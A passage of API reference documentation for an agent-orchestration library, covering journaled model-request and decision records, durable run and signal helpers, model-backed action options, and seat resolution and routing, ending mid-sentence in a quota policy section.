The journal projection of one agent event: `model-settled` becomes
`control.agent.model-settled`, and so on for the run's whole trail.
`model-delta` is the one omission, returning `undefined`, because deltas are
the token-by-token prefix of `model-settled` and journaling them would multiply
a run's event count by its token count. Free-text and value fields larger than
`maxTracedBytes` are replaced with a deterministic truncation marker carrying
the field's byte count and digest. This includes completion `output` nested in
`cell-settled.outcome.transition` and `transition-applied.transition`; the
containing outcome and transition retain their tags.

Two records hold what a step was asked, so a reader can reopen one step:

| Event type                       | Payload                                                                                                                                                                                                                                     |
| -------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `control.agent.model-requested`  | `scope`, `frame`, `attempt`, `purpose`, `seat`, `modelId`, `routeId?`, `protocolId?`, `system?`, `task?`, `systemDigest`, `messages`, `messagesDigest`, `prefixCount`, `prefixDigest?`, `params`, `paramsDigest`, `toolCount`, `truncated?` |
| `control.agent.decision-settled` | `scope`, `frame`, `classifier`, `digest`, `state`, `stateDigest`, `questions`, `questionsDigest`, `answers`, `answersDigest`, `latencyMs`, `acted`, `decidedBy`, `truncated?`                                                               |

`scope` and `frame` join either record to its turn; position never does.
`system` is the system text, part by part, and `messages` is `{ role, text }`
per message. `params` carries `GenerationParams` with `maxTokens` written as
`maxOutput`, because the journal redacts a key ending in `token` and a composer
prefilled from `"[REDACTED]"` would send a lie.

A `model-requested` record holds what its call added to the call before it,
where "before" is the previous record of the same `scope` and `purpose` in
`(frame, attempt)` order:

- `prefixCount` is how many leading messages the call shares with that
  record's whole transcript, and `messages` is the rest. It is the longest
  common prefix, so an in-frame re-ask, the next frame, and the realm note a
  frame closes on each cost only what changed. The first call, a compaction,
  and a host rewrite share nothing and are written whole with `prefixCount: 0`.
- `prefixDigest` is present when `prefixCount` is above zero. It is
  `Digest.digest(CanonicalJson.stringify(digests))`, where `digests` holds one
  `Digest.digest(CanonicalJson.stringify({ role, text }))` per shared message.
- `system` is written when `systemDigest` differs from the previous record's,
  and is otherwise left out. `systemDigest` is always written.
- `task` is the step's task (the system part after `The task for this run:`),
  written with `system` and bounded on its own, so a reader keeps the step's
  input when the whole system text is too large to journal.

A reader rebuilds one call by walking back through those records until
`prefixCount` is `0`, taking the first `prefixCount` messages of each rebuilt
predecessor, and reads `system` from the nearest record at or before the call
that carries it under the same `systemDigest`. The request is unavailable when
any record on the walk carries `truncated: true`, when a `prefixDigest` does
not match the messages taken, or when a predecessor is missing. A resumed run
that diverged can leave two records at one `(scope, purpose, frame, attempt)`;
the one whose messages satisfy the next record's `prefixDigest` is on the walk.

Every field a record is rebuilt from travels with the digest of that field as
it stood before the journal saw it: `systemDigest`, `messagesDigest` and
`paramsDigest`, and `stateDigest`, `questionsDigest` and `answersDigest`. Each
is `Digest.digest(CanonicalJson.stringify(field))` over the JSON the record
holds. The journal's redaction rewrites text that only looks like a credential
(`maxTokens: 4096`, `cacheKey = id`, `secret = hunter2`) and leaves no mark on
the row. A reader re-digests each field it read and treats a mismatch as
"redacted, not re-askable", the same way it treats `truncated`.

`system` and `params`, and `state`, `questions` and `answers`, are each bounded
by `maxTracedBytes`, and a field over the bound is replaced by its marker,
whose `digest` equals the field's sibling digest. The messages of one record
share one `maxTracedBytes` between them: each is written whole while the field
has room and as its own marker after, so one oversized message does not erase
the messages beside it and the record stays inside the step-fact payload
bound. When any marker is written the record also carries `truncated: true` at
the top level, so a reader reports the request unavailable instead of
rebuilding it from the fields that fit. A call whose host could not say what
would be sent writes no `model-requested`. A trail written before these
records existed has neither: a request or decision that was not journaled is
absent, never reconstructed.

`decision-settled` writes every name a classifier's author chose as a value,
never as a key, because the journal replaces the value under any key it reads
as a credential name (`auth`, `session`, `token`). `questions` is an array of
`{ id, type, instructions, criteria? }` in declaration order, and a choice
question's `criteria` is an array of `{ option, description }`. `answers` is an
array of `{ id, kind, ... }`, and the `probabilities` of a choice or a score is
an array of `{ option, p }`. `digest` hashes the wire form, which keys the
questions by id and a choice's criteria by option, so a reader rebuilds those
records from the entries before checking them against it.

The executor writes both without advancing the frame ordinal that
`traceIdentity` folds in, so a run journaled before they existed and resumed
after still deduplicates its recorded prefix.

### AgentSession.tracer

```ts
const tracer: () => (event: AgentEvent.AgentEvent) => ReturnType<typeof trace>
```

`trace` over one run's events in order. It keeps one `RequestTrail` per
`(scope, purpose)`, which is what a `model-requested` record is written
against; every other event projects exactly as `trace` projects it. Make one
per incarnation, where the events are consumed, and never keep it across a
restart: a resumed attempt replays from its first frame, and a fold that starts
empty regenerates the payloads, and so the identities, the first attempt wrote.

`trace(event, previous?)` takes the same `RequestTrail` as an argument and
stays pure. Without one it writes the request whole.

### AgentSession.traceIdentity

```ts
const traceIdentity: (
  frame: number,
  ordinal: number,
  cell: string,
  eventType: string,
  payload: Readonly<Record<string, unknown>>
) => JournalEvent.SourceSeq
```

The producer identity of one journaled agent event, derived from where the
event sits and what it says: the frame, its ordinal within that frame, the cell
that frame produced, the event type, and the event's payload minus the
observation-only fields `at` and `durationMillis`. A resumed attempt
republishes its whole prefix, and this identity is what lets the journal's
`UNIQUE (run_id, source_id, source_seq)` index refuse the duplicates while
admitting events produced after a divergence.

### AgentSession.agentFlow

```ts
const agentFlow: Flow.Flow<"agent/run", ...>
```

The one durable flow every agent run executes, registered by `make`. Its
execution id is the control run id. `FlowRuntime.resume(agentFlow, runId)`
re-drives a parked run through the registered handler; a round nobody
requested re-parks on the same wait, token, and question.

### AgentSession.maxTracedBytes

```ts
const maxTracedBytes = 65_536
```

The largest free-text or value field one trail record carries.

### AgentSession.patterns

```ts
const patterns: (
  capabilities: ReadonlyArray<string>
) => ReadonlyArray<Capability.CapabilityPattern>
```

Parses a run envelope's formatted capabilities, dropping every entry the
capability grammar cannot name. Dropping narrows authority, which is the
fail-closed direction.

### AgentSession.settlementFailure

```ts
const settlementFailure: (error: unknown) => unknown
```

Renders the failure the engine persists as the agent flow's settlement. Values
the JSON codec already accepts keep their identity; other objects are
round-tripped through JSON so their enumerable fields, `_tag` above all,
survive; anything else falls back to a text rendering. The mapper never throws:
a cycle, a `BigInt` field, or excessive depth still settles as text.

### AgentSession.settlementSuccess

```ts
const settlementSuccess: (value: unknown) => unknown
```

Renders the success the engine persists as the agent flow's settlement. A flow
whose success is `Schema.Void` completes with `undefined`, which is not JSON, so
absence settles as `null`; every JSON value settles unchanged.

### Wait and driver helpers

`AgentSession.readExecution(runId)` returns `Missing` when no engine execution
is visible, or an `Observed` value with current lifecycle and waiting state.
When a run has continued to a later trampoline round, lifecycle and waiting
state come from the latest round; parent and round ordinal still describe the
requested `runId`. A root therefore remains round zero and never becomes its
own parent. A row's explicit parent takes precedence over its earliest durable
spawn edge.

The engine reads share its existing transaction. With the SQLite adapter this
holds a short writer lock during the scoped reads and releases it before any
execution or waiting. Store failures become typed `PersistenceError` values
with their original cause; interruption remains interruption. Control metadata
comes from a separate database read: this contract does not supply a global
snapshot, revision watermark, or bounded run-list query.

The pieces the session builds itself out of, public because a host that runs
the agent its own way needs the same ones:

| Export                    | Signature                                                                    | Behavior                                                                                                                                                                                                                                                                                                |
| ------------------------- | ---------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `waitForRunning`          | `(status, runId, journal) => Effect<boolean, unknown>`                       | Waits for the control plane to publish its `running` transition before a driver starts the engine. Subscribes before rechecking and waits for a committed journal transition without store polling. Fails with `LaunchFailed` after a 60-second admission deadline; answers false for any other status. |
| `waitForParked`           | `(poll, attempts) => Effect<boolean, unknown>`                               | Polls a durable execution until it is published as parked. A missing poll is a still-live execution, so retries are bounded.                                                                                                                                                                            |
| `preserveDriverInterrupt` | `(interrupt) => Effect<void, never, R>`                                      | Keeps a control cancellation durable even when its engine interrupt fails: a non-interrupt cause is logged, and an interrupt-only cause is re-thrown.                                                                                                                                                   |
| `registerDriver`          | `(register, runId) => Effect<void, LaunchFailed>`                            | Translates a failed driver registration into the executor's launch error.                                                                                                                                                                                                                               |
| `settleDriverFailure`     | `(cause, runId, writeFailed) => Effect<void, E, R>`                          | Re-throws a cancelled driver while logging a non-interrupt engine failure and writing the run's `failed` status.                                                                                                                                                                                        |
| `requestCancel`           | `(input: CancelRequest) => Effect<CancelRecord, PersistenceError, RunStore>` | Atomically records cancellation across the engine's trampoline lineage, whichever process owns it. `Terminal` requires every round to have settled; a missing row answers `unknown`; a repeat answers `already-requested`.                                                                              |
| `deliverSignal`           | `(input: Signal) => Effect<SignalDelivery, PersistenceError, ...>`           | Completes the matching `WaitFor` token. Answers `delivered` only when the stored completion matches the payload, `no-match` for a conflicting token or completion, and `unknown` when completion cannot be established.                                                                                 |
| `drainRecordedSignals`    | `Effect<void, never, ...>`                                                   | Reconciles a bounded rotating page of admitted commands at startup and every 250 ms. Commands remain pending until delivery is established, rejected, or their unbound run becomes terminal.                                                                                                            |

A durable signal command carries its admission identity and requires the
admitting `ControlRuntime`. Its first token binding wins, so retrying after a
lost acknowledgment addresses the same wait even after the run advances or
settles. Two commands cannot consume the same token. A competing resolver's
different payload is a conflict, and a write acknowledgment alone is not proof
of delivery: the matching completion must be readable from engine state.

Delivery rechecks the bound token's deferred name against the signal name.
Only `WaitFor/<name>` or a positive numbered `WaitFor/<name>#<attempt>` matches;
a token for another name returns `no-match`, including after restart.

If resume temporarily clears the wait before replay parks on the same token,
delivery returns `unknown` and keeps the command bound for retry. It returns
`no-match` when another token replaces it. With `RunStore` available, a missing
or terminal bound execution also returns `no-match`. A previously stored
matching completion still proves delivery.

One failed command does not prevent the rest of a reconciliation page from
being attempted. The failed command stays pending for a later pass. Legacy
payload-only messages are not replayed because they have no durable application
identity.

## AgentAction

The authoring surface for a model-backed step. `make` declares an ordinary
`Action`, with the same tag, payload schema, `.call()`, plan node, and durable
replay as any other, and ships the implementation with it. An author never
writes `toLayer` for a model call, because there is only one implementation.

### AgentAction.make

```ts
const make: <Tag extends string, Payload, Output>(
  tag: Tag,
  options: Options<Payload, Output>
) => AgentAction<Tag, PayloadSchemaOf<Payload>, Output>
```

Declares a model-backed action and ships its implementation. The returned value
is used exactly like any other declared action: `.call()` in a flow body,
`.layer` in the composition. The layer resolves the seat through `SeatResolver`,
runs one agent loop through `Agent` inside the current flow execution, and
decodes the run's final answer with the declared output schema, spending
`Options.corrections` corrections before it reports a typed
`StructuredOutputFailure`.

### AgentAction.implement

```ts
const implement: <Tag extends string, Payload, Output>(
  declared: Action.Declared<Tag, Payload, Output, typeof AgentFailure>,
  policy: Omit<Options<Payload, Output>, "payload" | "output">
) => AgentAction<Tag, Payload, Output>["layer"]
```

Attaches the existing agent implementation to an already declared action.
The action retains its tag, payload, output, and failure schemas. A canonical
prompt flow passes `flow.action` and renders `flow.prompt` through this policy;
its authored flow is never rebuilt. The host supplies the resolved seat and
system teaching. The declaration must use `error: AgentAction.AgentFailure`;
other error schemas throw `TypeError` before the layer is built.

### AgentAction.Options

| Field         | Type                                               | What it decides                                                                                                                                                                                                                                          |
| ------------- | -------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `payload`     | `Schema.Struct.Fields \| Flow.AnyStructSchema`     | The step's typed input, exactly as `Action.make` takes it. Required.                                                                                                                                                                                     |
| `output`      | `Schema.Top`                                       | The schema the answer must satisfy. Rendered into the prompt and enforced. Required.                                                                                                                                                                     |
| `seat`        | `ModelSelection \| ((payload) => ModelSelection)`  | One seat or a non-empty ordered list. The first seat is primary, the rest are fallbacks. A callback is evaluated once per execution. Required.                                                                                                           |
| `phase`       | `SeatRouter.Phase`                                 | The phase of work a `Seat.auto` seat routes as. Jev classifies it when absent. A panel route runs the members in parallel, then the merger on the answers of those that did not fail.                                                                    |
| `prompt`      | `(payload) => string`                              | The task, built from the decoded payload. Required.                                                                                                                                                                                                      |
| `system`      | `ReadonlyArray<string>`                            | Stable system teaching for this step, after the host's and before the schema's.                                                                                                                                                                          |
| `profile`     | `CellTurn.Profile`                                 | The cell contract every ask of this step is taught, corrections and repair included. Forwarded to `Agent.Options.profile`; omitted is `workspace`. A step that answers a person through the host's flows, such as a chat reply, declares `conversation`. |
| `corrections` | `number`                                           | How many times a decode miss may be corrected, in the same session or a fresh one. Falls back to `Host.defaultCorrections`, then to one. Zero declares a first miss terminal.                                                                            |
| `repair`      | `Repair<Payload>`                                  | One bounded repair ask made after the correction budget is spent, decoded by the same schema.                                                                                                                                                            |
| `modelParams` | `ModelRequest.GenerationParams`                    | Generation parameters for the step's model calls.                                                                                                                                                                                                        |
| `timeout`     | `Duration.Input \| ((payload) => Duration.Input)`  | Bounds the entire action, including seat resolution, retries and corrections. Expiry interrupts the agent with a typed `HarnessError`; shared host budgets and model-call limits still apply.                                                            |
| `maxFrames`   | `number`                                           | The cell-loop bound for this step, ahead of the host's.                                                                                                                                                                                                  |
| `claimCap`    | `number`                                           | Overrides `Host.claimCap` for this step. A positive cap arms the completion claim brake; zero disarms it. Omitted on both, no judge reads the step's completion.                                                                                         |
| `memory`      | `(payload) => ReadonlyArray<SnapshotRecorder.Row>` | Opening memory rows for this step. A judged step's run-start relevance reading withholds the rows Jev is confident the task does not need and journals `relevance-settled`. Keep them out of `prompt`.                                                   |

For a fixed deadline, use `timeout: "2 minutes"`; for an input-dependent
limit, use `timeout: payload => Duration.minutes(payload.timeout)`. The
callback receives the decoded payload. An omitted timeout adds no action
deadline. Expiry interrupts outstanding seat resolution, model streams and
correction/retry work, then fails with `HarnessError` and the message
`<action tag> timed out.` Caller cancellation remains interruption rather than
being converted into timeout failure. Host budgets and model-call limits
continue to apply independently; a deadline does not refund spent budget.
Under a timeout the agent reads the time it has left at each turn it continues
through (`Steering.withTimeLeft`, "Time left: 12 of your 40 minutes."), so it
can finish before the deadline ends it.

### AgentAction.Repair

```ts
interface Repair<Payload> {
  readonly prompt: (
    failure: StructuredOutput.StructuredOutputFailure,
    payload: Payload
  ) => string
  readonly seat?: string | undefined
  readonly system?: ReadonlyArray<string> | undefined
}
```

The bounded repair ask made after a correction budget is spent. The failure
carries the declared schema's digest, the issues the last candidate raised, and
how many corrections were spent. `seat` and `system` default to the step's own.

### AgentAction.AgentAction

```ts
interface AgentAction<Tag, Payload, Output> extends Action.Declared<Tag, Payload, Output, typeof AgentFailure> {
  readonly layer: Layer.Layer<Action.Requirement<Tag>, never, ...>
}
```

A declared model-backed action, plus the layer that implements it. The layer's
requirements are `Agent`, `FlowRuntime`, `Host`, `Sandbox.Sandbox`,
`SeatResolver`, `Steering.Source`, `Crypto.Crypto`, `Budget.Budget`, and
`QuotaPolicy.QuotaClassifier`.

### AgentAction.Host

The host composition every model-backed action in a run shares, provided once
through `layerHost`:

| Field                | Type                                            | What it decides                                                                                                                                                         |
| -------------------- | ----------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `registry`           | `Registry.Registry`                             | The catalog a cell is shown and the registry its calls resolve against. Required.                                                                                       |
| `limits`             | `Sandbox.Limits`                                | The explicit sandbox budget every cell runs under. Required; never unlimited.                                                                                           |
| `flows`              | `ReadonlyArray<FlowBinding.Source>`             | Host executable-flow sources composed into every run's catalog.                                                                                                         |
| `implementations`    | `ReadonlyMap<string, CellCalls.Implementation>` | Host implementations for module-backed flows, keyed by flow name.                                                                                                       |
| `plugins`            | `PluginInput<FlowsHooks>`                       | Plugins composed into every run.                                                                                                                                        |
| `config`             | `FlowsConfig`                                   | Configuration composed into every run.                                                                                                                                  |
| `system`             | `ReadonlyArray<string>`                         | Stable system teaching placed ahead of every action's own.                                                                                                              |
| `capabilityEnvelope` | `ReadonlyArray<Capability.CapabilityPattern>`   | What the composition grants, and what its sealed step keys are computed under.                                                                                          |
| `maxFrames`          | `number`                                        | The default cell-loop bound for steps that declare none.                                                                                                                |
| `defaultCorrections` | `number`                                        | The correction budget for steps that declare none. Omitting both leaves the budget at one.                                                                              |
| `approvalChannel`    | `boolean`                                       | Whether this host can answer a parked step. Defaults to false.                                                                                                          |
| `modelRetryPolicy`   | `RetryPolicy.RetryPolicy`                       | The engine retry policy one model call's attempts run under. Defaults to the port's own; `maxAttempts: 1` turns retries off.                                            |
| `maxQuotaParks`      | `number`                                        | How many quota waits one ask may take. Defaults to `QuotaPolicy.defaultMaxParks` (8). The bound is per ask: a corrected step starts its next ask with a full allowance. |
| `judged`             | `boolean`                                       | Whether the host's `Evaluator` is a real judge; forwarded to each step's `Agent.Options.judged`, so every subagent is armed on its own session.                         |
| `supervisor`         | `Agent.Options["supervisor"]`                   | Forwarded to each step's `Agent.Options.supervisor`, so a subagent recalls from the run's memory bank and is taught the operator's stance.                              |

### AgentAction.makeHost

```ts
const makeHost: (host: Host) => Host
```

Constructs a host composition value. A `defaultCorrections` that is not a
non-negative safe integer is refused here with `InvalidCorrectionBudget`
rather than at the first decode miss.

### AgentAction.layerHost

```ts
const layerHost: (host: Host) => Layer.Layer<Host>
```

Provides one host composition to every model-backed action in a run.

### AgentAction.AgentFailure

```ts
const AgentFailure = Schema.Union([
  StructuredOutput.StructuredOutputFailure,
  Seat.SeatUnresolved,
  Budget.BudgetExceeded,
  Budget.Skipped,
  HarnessError,
  PluginError
])
```

Everything a model-backed action can fail with. `StructuredOutputFailure` is
the one an author handles: the model answered and the answer did not fit the
declared schema after its correction budget. `SeatUnresolved` is the host
having no model for the declared seat. `BudgetExceeded` is the run having spent
what it was approved for, and `Budget.Skipped` is every later model call in a
run whose budget declared `skip-remaining`. `HarnessError` and `PluginError`
are the composition failing underneath the step.

### AgentAction.structuredOutputRejectedEvent

```ts
const structuredOutputRejectedEvent = "flows.agent.structured-output-rejected.v1"
```

The journal event one rejected answer writes on the lossy channel, carrying the
action, the attempt, the budget, the schema digest, and a digest of the issues.
The record is evidence, not a decision: nothing in the ladder reads it back,
and a composition without a journal writes nothing and behaves the same
otherwise.

### AgentAction.InvalidCorrectionBudget

```ts
class InvalidCorrectionBudget extends Schema.TaggedError<InvalidCorrectionBudget>()(
  "flows/agent/InvalidCorrectionBudget",
  { corrections: Schema.Number, message: Schema.String }
)
```

Raised synchronously when an action declaration or a host composition has an
unbounded correction budget: not a non-negative safe integer.

## Seat

The seat: what a flow or an action declares to pick the model it runs on. The
declared half is an ordinary string this module deliberately ships no schema
for; the resolved half is `Seat`, the only thing `Agent.run` accepts. For the
mental model, see [Seats](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/docs/concepts/seats.md).

### Seat.Seat

```ts
interface Seat {
  readonly id: string
  readonly modelId: string
  readonly model: Model.Model
  readonly route: FlowEngineLike.RouteResolver
  readonly contextWindowTokens: number
}
```

One resolved seat: the declared `id`, the provider `modelId` used for generation
and compaction, the model to stream from, the
route that seals its requests, and the model's context window in tokens so
compaction has a real budget. `contextWindowTokens` must never be zero: zero is
the controller's "compaction disabled".

### Seat.make

```ts
const make: (seat: Seat) => Seat
```

Constructs a resolved seat. A `SeatResolver` implementation is what calls it; a
caller reaches a seat through the resolver, never by assembling one from a
model and a route it happened to hold.

### Seat.SeatUnresolved

```ts
class SeatUnresolved extends Schema.TaggedError<SeatUnresolved>()(
  "@smthrs/agent/Seat/SeatUnresolved",
  { seat: Schema.String, message: Schema.String }
)
```

A seat the host could not turn into a model route: an unknown provider, a
missing API key, an invalid endpoint. Typed, so the run refuses at the seam
rather than failing halfway through.

### Seat.auto

```ts
const auto: "auto"
```

The declared seat that asks Jev to pick the model. See
[SeatRouter](#seatrouter).

### Seat.SeatUnrouted

```ts
class SeatUnrouted extends Schema.TaggedError<SeatUnrouted>()(
  "@smthrs/agent/Seat/SeatUnrouted",
  {
    seat: Schema.String,
    reason: Schema.Literals([
      "unconfigured",
      "interrupted",
      "no_candidates",
      ...Evaluator.EvaluatorErrorCode.literals
    ]),
    message: Schema.String
  }
)
```

A seat Jev could not pick. `unconfigured` means no judge is bound or the
catalog could not list its seats; `no_candidates` means the catalog offered
no seat the routing graph picked; any other reason is the judge's own failure. No default seat is ever picked instead.

### Seat.modelIdOf

```ts
const modelIdOf: (id: string) => string
```

The model id half of a seat string: the part after the first `:`. A seat with
no separator is its own model id.

## SeatResolver

The host seam that turns a declared seat string into a live model. The
credentialed half of the composition lives here and nowhere else.

### SeatResolver.Service

```ts
interface Service {
  readonly resolve: (id: string) => Effect.Effect<Seat.Seat, Seat.SeatUnresolved>
  readonly routedAs?: ((id: string) => Routed | undefined) | undefined
}

interface Routed {
  readonly phase: SeatRouter.Phase | undefined
}
```

One seat string in, one resolved seat out. Because the resolver owns the seat
vocabulary, a host may define its own: `provider:modelId` is the convention the
resolver in [`@smthrs/cli`](/docs/reference/api/cli/) understands, not a rule the agent
enforces.

`routedAs` names the ids the host routes by the routing graph instead of
resolving them, such as a role it maps to `auto`, and the phase each routes
as; `undefined` leaves Jev to classify the phase. `AgentAction` and
`AgentSession` route such an id exactly as a declared `auto`, with that phase
pinned. Without the method, every id resolves as declared.

### SeatResolver.SeatResolver

```ts
class SeatResolver extends Context.Service<SeatResolver, Service>()("@smthrs/agent/SeatResolver")
```

The `Service` tag.

### SeatResolver.make, SeatResolver.layer

```ts
const make: (implementation: Service) => Service
const layer: (implementation: Service) => Layer.Layer<SeatResolver>
```

Builds or provides a `Service` from an implementation of its one method.

### SeatResolver.makeNoop, SeatResolver.layerNoop

```ts
const makeNoop: (overrides?: Partial<Service>) => Service
const layerNoop: (overrides?: Partial<Service>) => Layer.Layer<SeatResolver>
```

A resolver that resolves nothing. Refusing is the honest default: a composition
with no configured resolver has no credentials, and inventing a model here
would turn a missing key into a failed provider call halfway through a run.
The refusal is `SeatUnresolved` with the message "No seat resolver is
configured".

### SeatResolver.contextWindowTokensFor

```ts
const contextWindowTokensFor: (modelId: string) => number
```

The context window, in tokens, of a known model id, with a conservative floor
of 128,000 for models the catalog has not met. Never zero.

| Pattern                                                                      | Tokens    |
| ---------------------------------------------------------------------------- | --------- |
| `claude-opus-5`, `claude-sonnet-5`                                           | 1,000,000 |
| `claude-fable-5*`, `claude-mythos-5*` (numeric version suffixes)             | 1,000,000 |
| `claude-opus-4-6`, `claude-opus-4-7`, `claude-opus-4-8`, `claude-sonnet-4-6` | 1,000,000 |
| Other `claude` ids, including Haiku and Bedrock/Vertex-prefixed ids          | 200,000   |
| `gpt-5`                                                                      | 400,000   |
| `gpt-4.1`                                                                    | 1,000,000 |
| `gpt-4o`                                                                     | 128,000   |
| `o1`, `o3`, `o4`                                                             | 200,000   |
| anything else                                                                | 128,000   |

## SeatRouter

Routes a run by the maintainer's routing graph. A declared seat always wins
and asks nothing. A run that declares `auto` asks Jev once, at its start, the
graph's edge questions and the system-prompt variant in one call; a pure
table picks the seat, its backups, and, for important plans and reviews, a
panel. Each subagent routes on its own prompt. A judge that cannot answer, or
a pick with nothing available, fails as `Seat.SeatUnrouted`.

### SeatRouter.seats, SeatRouter.phases

```ts
const seats: readonly ["luna", "sol", "opus", "fable", "sonnet", "kimi"]
type GraphSeat = typeof seats[number]
const phases: readonly ["plan", "implement", "review", "ui", "tool", "other"]
type Phase = typeof phases[number]
```

The graph's seats, by their `Providers.seatAliases` names, and its phases of
work.

### SeatRouter.plan, SeatRouter.backupsOf

```ts
const Answers: Schema.Struct<{
  phase: Schema.Literals<Phase>
  size: Schema.Literals<["trivial", "simple", "middle", "important"]>
  clarity: Schema.Literals<["clear", "unknowns"]>
  binary: Schema.Boolean
}>
interface Planned {
  readonly seat: GraphSeat
  readonly panel?: { readonly seats: ReadonlyArray<GraphSeat>; readonly merger: GraphSeat }
}
const plan: (answers: Answers) => Planned
const backupsOf: (seat: GraphSeat, phase: Phase) => ReadonlyArray<GraphSeat>
```

`plan` is the graph; the panel is Opus, Fable, and Sol, merged by Fable.

| Phase       | Pick                                                                     |
| ----------- | ------------------------------------------------------------------------ |
| `plan`      | trivial: Sonnet; simple: Opus; middle: Fable; important: the panel       |
| `implement` | important with unknowns: Fable; important or unknowns: Opus; else Sonnet |
| `review`    | important: the panel; else Opus                                          |
| `ui`        | Opus                                                                     |
| `tool`      | binary and clear: Luna when trivial, else Sonnet; else Opus              |
| `other`     | Opus                                                                     |

Writing code never runs on Luna. `backupsOf` is the failover order: Fable to
Sol; Opus to Sol, or Kimi then Sol for `ui`; Kimi to none; every other seat
to Kimi.

### SeatRouter.fit, SeatRouter.Route

```ts
const RouteSchema: Schema.Struct<{
  seat: Schema.String
  backups: Schema.Array<Schema.String>
  panel: Schema.optionalKey<typeof AgentEvent.SeatPanel>
}>
type Route = typeof RouteSchema.Type
const fit: (planned: Planned, phase: Phase, available: ReadonlyArray<string>) => Route | undefined
```

Keeps the available seats of a pick. Each seat becomes the first available of
itself and its backups, and the rest available are its backups. Panel members
that land on one seat are one member with the union of their backups, in
order, less the seats on the panel. A panel left with one member is that
member's seat and backups alone. `undefined` when
the pick's seat and backups are all unavailable.

### SeatRouter.Variant

```ts
interface Variant {
  readonly id: string
  readonly description: string
  readonly system: ReadonlyArray<string>
}
```

Jev reads each `description`; a run picked for a variant is given its
`system` text.

### SeatRouter.Catalog, SeatRouter.Service, SeatRouter.layer

```ts
interface Service {
  readonly candidates: Effect.Effect<ReadonlyArray<string>, Seat.SeatUnresolved>
  readonly variants: ReadonlyArray<Variant>
}
class Catalog extends Context.Service<Catalog, Service>()("@smthrs/agent/SeatRouter/Catalog")
const layer: (implementation: Service) => Layer.Layer<Catalog>
```

What the host offers: the graph seats its `SeatResolver` runs here, and the
variants.

### SeatRouter.defaultVariants

| Id            | System text                                                                                                                |
| ------------- | -------------------------------------------------------------------------------------------------------------------------- |
| `change`      | "Edit the workspace to do what the task asks." "Prove the change with a check whose result is recorded before you finish." |
| `investigate` | "Read what the task needs and cite the files and lines you rely on." "Change nothing."                                     |
| `answer`      | "Reply only: the task needs an answer, not a change."                                                                      |
| `review`      | "Judge the diff you were given and cite each problem where it is." "Make no edits."                                        |

### SeatRouter.State

```ts
const State: Schema.Struct<{
  task: Schema.String
  flow: Schema.String
  description: Schema.String
  capabilities: Schema.Array<Schema.String>
}>
```

What Jev reads. Callers pass the task whole; `route` sends it as
`Judgement.task` carries it, both ends kept.

### SeatRouter.classifierFor, SeatRouter.edgeQuestions

```ts
const classifierFor: (
  variants: ReadonlyArray<Variant>,
  pinned: boolean
) => Classifier.Classifier<"seat/route", typeof State, Classifier.Questions>
```

The `seat/route` classifier: the `edgeQuestions` `phase`, `size`, `clarity`,
and `binary`, without `phase` when the caller pinned it, and `system`, a choice
over the variants with `systemInstructions`, asked only when there are at
least two. The same variants and pin return the same classifier.

### SeatRouter.Decision, SeatRouter.DecisionSchema

```ts
type Decision = {
  readonly seat: string
  readonly backups: ReadonlyArray<string>
  readonly panel?: AgentEvent.SeatPanel
  readonly variant: string | null
  readonly decidedBy: "jev" | "declared"
  readonly answers: Answers | null
  readonly latencyMs: number
  readonly candidates: ReadonlyArray<string>
  readonly asked: {
    readonly classifier: string
    readonly digest: string
    readonly questions: Readonly<Record<string, Schema.Json>>
    readonly state: Schema.Json
    readonly answers: Readonly<Record<string, AgentEvent.DecisionAnswer>>
    readonly usage?: Evaluator.Usage
  } | null
}
```

The route, the variant, and the graph's inputs. `candidates` are the seats that
were available. `asked.questions` is the wire form.

### SeatRouter.route

```ts
const route: (input: Input) => Effect.Effect<Decision, Seat.SeatUnrouted, Catalog>
```

`Input` is `{ declared, state, phase?, panel? }`. A seat other than
`Seat.auto` is kept with `decidedBy: "declared"`. Otherwise Jev answers the
edge questions, with `phase` taken from the input when given, and the route is
`fit` of `plan` over the catalog's seats. `panel: false`, for a caller that
does not fan out, routes a panel pick to its merger and its backups alone, so
no panel is recorded that does not run. An empty catalog, or a pick with
nothing available, fails as `no_candidates`.

### SeatRouter.mergePrompt

```ts
const mergePrompt: (
  task: string,
  answers: ReadonlyArray<readonly [seat: string, answer: string]>,
  failed: ReadonlyArray<string>
) => string
```

The merger's task: the task, each member's answer as `seat: answer`, and the
members that failed without one.

### SeatRouter.durable

```ts
const durable: (
  input: Input,
  key: { readonly executionId: string; readonly purpose: string }
) => Action.Action<typeof DecisionSchema, typeof Seat.SeatUnrouted, Catalog>
```

`route` as the sealed action `agent/route-seat`, keyed
`seat/route:${executionId}:${purpose}`. A replay is served the recorded
decision; a process that dies before it is recorded asks again. The key leaves
out the classifier digest, so editing a description does not re-route a run in
flight. A replay is served the recorded route, panel included.

### SeatRouter.events

```ts
const events: (
  decision: Decision,
  at: { readonly scope: string; readonly modelId: string }
) => ReadonlyArray<AgentEvent.AgentEvent>
```

`seat-routed`, with the route's `backups` and `panel`, and the reading's
`decision-settled` row (frame 0, acted); nothing for a declared seat.

### SeatRouter.variantText

```ts
const variantText: (variants: ReadonlyArray<Variant>, id: string | null) => ReadonlyArray<string> | undefined
```

The system text of the variant `id` names: `[]` for `null`, and `undefined` for
an id no variant has.

## QuotaPolicy

The classification half of quota-aware waits: it answers one question, "is
this refusal a wait, and until when?", and nothing else. The park itself
belongs to `AgentAction`. For the full behavior, see
[Park on quota refusals and limit model admission](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/docs/guides/quota-and-budgets.md).

### QuotaPolicy.QuotaClassifier and QuotaPolicy.Service

```ts
interface Service {
  readonly classify: (error: unknown, nowMillis: number) => Option.Option<Park>
}

class QuotaClassifier extends Context.Service<QuotaClassifier, Service>()(
  "@smthrs/agent/QuotaPolicy/QuotaClassifier"
)
```

Decides whether a failure is a quota wait. `now` is passed in rather than read:
the classifier is pure, so a caller inside a flow takes the instant from the
injected clock and a test states it outright.

### QuotaPolicy.Park and QuotaPolicy.ParkSource

```ts
const Park = Schema.Struct({
  wakeAt: Schema.Number,
  source: ParkSource
})

const ParkSource = Schema.Literals(["reset", "retry-after", "text", "default"])
```

One classified refusal: the absolute epoch instant the run may ask again, and
